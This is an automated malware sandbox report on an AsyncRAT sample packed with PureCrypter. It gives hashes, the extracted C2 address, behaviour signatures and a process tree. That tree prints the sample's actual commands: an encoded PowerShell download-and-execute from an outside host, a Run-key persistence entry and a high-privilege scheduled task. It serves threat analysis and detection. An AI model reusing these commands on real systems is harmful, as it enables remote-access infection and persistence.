Analysis

  • max time kernel
    114s
  • max time network
    112s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-06-2024 10:59

General

  • Target

    0e3be9658e97e3ea844e0d818a0f4731573ec5affe4f42e8d244e0c91717df68.exe

  • Size

    501KB

  • MD5

    8b662719e44ab11419fe3e1d7e96cc03

  • SHA1

    af6c092ff304cd5131cc0295fa8b51a572af5388

  • SHA256

    0e3be9658e97e3ea844e0d818a0f4731573ec5affe4f42e8d244e0c91717df68

  • SHA512

    3a441802fad9b3eafe327d6239cb8891551df04ccf555658d8855fbbcdacda3abefc9e627b3a59cf28de9681e348d2cc749cd63514721c9b86e0519ceb57309a

  • SSDEEP

    12288:iSrH22qla5w/yXbxixFcRMFQIkeNCSo9mbX:iSrH0MW/IbxiYCQIkeNCSB

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

C2

217.64.31.3:8808

217.64.31.3:8437

Mutex

Windows System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    Windows Session Manager

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect PureCrypter injector 1 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • PureCrypter

    PureCrypter is a .NET malware loader first seen in early 2021.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 41 IoCs
  • Suspicious use of SendNotifyMessage 41 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e3be9658e97e3ea844e0d818a0f4731573ec5affe4f42e8d244e0c91717df68.exe
    "C:\Users\Admin\AppData\Local\Temp\0e3be9658e97e3ea844e0d818a0f4731573ec5affe4f42e8d244e0c91717df68.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:60
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /nobreak /t 20
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\SysWOW64\timeout.exe
        timeout /nobreak /t 20
        3⤵
        • Delays execution with timeout.exe
        PID:5096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout 40
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\SysWOW64\timeout.exe
        timeout 40
        3⤵
        • Delays execution with timeout.exe
        PID:1892
    • C:\Users\Admin\AppData\Local\Temp\Bbxodsfpqzzzzzzzzzzzzzzzz.exe
      "C:\Users\Admin\AppData\Local\Temp\Bbxodsfpqzzzzzzzzzzzzzzzz.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4296
      • C:\Users\Admin\AppData\Roaming\SOFTINCA CRYPT.EXE
        "C:\Users\Admin\AppData\Roaming\SOFTINCA CRYPT.EXE"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAcQBhACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBiAGkAbgAyAC4AYQB3AHMALgBhAHQAcwBpAGcAbgAuAGMAbABvAHUAZAAvADkAMwBpADMAbwBuADEAZAAzAGYAdABhADgAaQBqAGgALwBkAGMAXwBjAHIAeQBwAHQALgBlAHgAZQAnACwAIAA8ACMAYgBxAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHkAcgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAG4AeQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAGkAbgBkAG8AdwBzAFMAZQBjAHUAcgB0AHkALgBlAHgAZQAnACkAKQA8ACMAaABjAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeABuAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHcAaABqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcAaQBuAGQAbwB3AHMAUwBlAGMAdQByAHQAeQAuAGUAeABlACcAKQA8ACMAaQBhAGsAIwA+AA=="
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1328
      • C:\Users\Admin\AppData\Roaming\V_PROTECTED.EXE
        "C:\Users\Admin\AppData\Roaming\V_PROTECTED.EXE"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4976
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurtyService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurtyService' -Value '"C:\Users\Admin\AppData\Roaming\SecurtyService\SecurtyService.exe"' -PropertyType 'String'
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3720
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /C schtasks /create /tn \SecurtyService /tr "C:\Users\Admin\AppData\Roaming\SecurtyService\SecurtyService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3384
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn \SecurtyService /tr "C:\Users\Admin\AppData\Roaming\SecurtyService\SecurtyService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:4480
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          #cmd
          4⤵
            PID:1700
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        2⤵
          PID:4840
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3768,i,14486271492189381216,15799931579469722648,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:8
        1⤵
          PID:4872
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:3616
          • C:\Windows\System32\Taskmgr.exe
            "C:\Windows\System32\Taskmgr.exe"
            1⤵
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1528

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            d49246229b2077d7961ee5c90e0945f8

            SHA1

            8b50bbdbc82b00f545510bc3ea9e8cd96182fa79

            SHA256

            581ef2752ddb123bff535eebcf573a4783ada1f4b7f7250c4145902a2de5dd8c

            SHA512

            5069555ffc7a217c703186559ed399e5fd8e787443be1d6bf9b6b96faca2565fb1c898422bdde51aadd6359ebf65ae40d4509b2829c5f6bb64d597b3b4763148

          • C:\Users\Admin\AppData\Local\Temp\Bbxodsfpqzzzzzzzzzzzzzzzz.exe

            Filesize

            146KB

            MD5

            1a9c46f2b4420d156a82f160facf9376

            SHA1

            ce91faa7353cb4d3411b20a69350f27a6fe47990

            SHA256

            04d9e48a22db735eb74df9d53acd9bf6330cc4842b0e136767ac5ea1695250fd

            SHA512

            14cc02a0bf3822888f69743ae946018eeb3c0bbced4e9f9edabf6b9a44013ecb708585f5ca3145add251bf1053c67f38e5f9d7abfe9d822e38f59b3188a62685

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyskobsu.vhx.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\SOFTINCA CRYPT.EXE

            Filesize

            6KB

            MD5

            a0c1d68c150049944598f3927176a4b9

            SHA1

            bb27c0d5385e8cb803fe63b958b95d6f78f7c8e1

            SHA256

            fb79b16cda58da4af5d374a6b1a9897e880ec01d97122902b35cc94933fc8908

            SHA512

            c503525cf9e3c1704da899ef1162094819287c82a52c953a9df4340335ce9edbabef6b4cc91d12a34ac69e9fa4b1bafa82aceece849aa2a12051f89714e3cc53

          • C:\Users\Admin\AppData\Roaming\V_PROTECTED.EXE

            Filesize

            87KB

            MD5

            81230dd9258eebd0fe6a2cc681c43c51

            SHA1

            d6870e6014503e79589435d3b167f1c6e405721b

            SHA256

            9d0e865de1feea37767b57b0b7c68ce143b72b071e0201af051e02d64c33ead1

            SHA512

            2c11be14d9f6a6d5011dfcf67b7115e3ad04e267eb7ced0b9fd7f9e286f87e553b9fae6f1a3a9a491d5ff7e96ac01a108fd52097ae6b3a44e7ca68315b70d96a

          • memory/60-4-0x0000000074B90000-0x0000000075340000-memory.dmp

            Filesize

            7.7MB

          • memory/60-2-0x0000000005B80000-0x0000000006124000-memory.dmp

            Filesize

            5.6MB

          • memory/60-3-0x00000000054D0000-0x0000000005562000-memory.dmp

            Filesize

            584KB

          • memory/60-5-0x0000000005580000-0x000000000558A000-memory.dmp

            Filesize

            40KB

          • memory/60-6-0x0000000006730000-0x00000000067A4000-memory.dmp

            Filesize

            464KB

          • memory/60-7-0x00000000067A0000-0x00000000067EC000-memory.dmp

            Filesize

            304KB

          • memory/60-8-0x0000000074B9E000-0x0000000074B9F000-memory.dmp

            Filesize

            4KB

          • memory/60-9-0x0000000074B90000-0x0000000075340000-memory.dmp

            Filesize

            7.7MB

          • memory/60-1-0x0000000000A70000-0x0000000000AF2000-memory.dmp

            Filesize

            520KB

          • memory/60-103-0x0000000074B90000-0x0000000075340000-memory.dmp

            Filesize

            7.7MB

          • memory/60-0-0x0000000074B9E000-0x0000000074B9F000-memory.dmp

            Filesize

            4KB

          • memory/1328-63-0x0000021664F60000-0x0000021664F82000-memory.dmp

            Filesize

            136KB

          • memory/1528-114-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-112-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-113-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-111-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-115-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-116-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-110-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-105-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-106-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1528-104-0x0000017546A20000-0x0000017546A21000-memory.dmp

            Filesize

            4KB

          • memory/1700-47-0x0000000000400000-0x0000000000412000-memory.dmp

            Filesize

            72KB

          • memory/1800-40-0x0000000000580000-0x0000000000588000-memory.dmp

            Filesize

            32KB

          • memory/3720-77-0x000000006FC30000-0x000000006FC7C000-memory.dmp

            Filesize

            304KB

          • memory/3720-89-0x00000000075B0000-0x0000000007C2A000-memory.dmp

            Filesize

            6.5MB

          • memory/3720-91-0x0000000006FE0000-0x0000000006FEA000-memory.dmp

            Filesize

            40KB

          • memory/3720-92-0x00000000071F0000-0x0000000007286000-memory.dmp

            Filesize

            600KB

          • memory/3720-93-0x0000000007170000-0x0000000007181000-memory.dmp

            Filesize

            68KB

          • memory/3720-94-0x00000000071A0000-0x00000000071AE000-memory.dmp

            Filesize

            56KB

          • memory/3720-95-0x00000000071B0000-0x00000000071C4000-memory.dmp

            Filesize

            80KB

          • memory/3720-96-0x00000000072B0000-0x00000000072CA000-memory.dmp

            Filesize

            104KB

          • memory/3720-97-0x0000000007290000-0x0000000007298000-memory.dmp

            Filesize

            32KB

          • memory/3720-98-0x00000000072D0000-0x00000000072F2000-memory.dmp

            Filesize

            136KB

          • memory/3720-49-0x0000000002340000-0x0000000002376000-memory.dmp

            Filesize

            216KB

          • memory/3720-90-0x0000000006F70000-0x0000000006F8A000-memory.dmp

            Filesize

            104KB

          • memory/3720-88-0x0000000006E40000-0x0000000006EE3000-memory.dmp

            Filesize

            652KB

          • memory/3720-87-0x00000000061F0000-0x000000000620E000-memory.dmp

            Filesize

            120KB

          • memory/3720-76-0x0000000006230000-0x0000000006262000-memory.dmp

            Filesize

            200KB

          • memory/3720-75-0x0000000006160000-0x00000000061AC000-memory.dmp

            Filesize

            304KB

          • memory/3720-74-0x0000000005C50000-0x0000000005C6E000-memory.dmp

            Filesize

            120KB

          • memory/3720-73-0x0000000005890000-0x0000000005BE4000-memory.dmp

            Filesize

            3.3MB

          • memory/3720-53-0x00000000055E0000-0x0000000005646000-memory.dmp

            Filesize

            408KB

          • memory/3720-52-0x0000000004D90000-0x0000000004DF6000-memory.dmp

            Filesize

            408KB

          • memory/3720-51-0x0000000004B70000-0x0000000004B92000-memory.dmp

            Filesize

            136KB

          • memory/3720-50-0x0000000004E00000-0x0000000005428000-memory.dmp

            Filesize

            6.2MB

          • memory/4840-101-0x0000000000400000-0x000000000042E000-memory.dmp

            Filesize

            184KB

          • memory/4976-44-0x0000000000EE0000-0x0000000000EFC000-memory.dmp

            Filesize

            112KB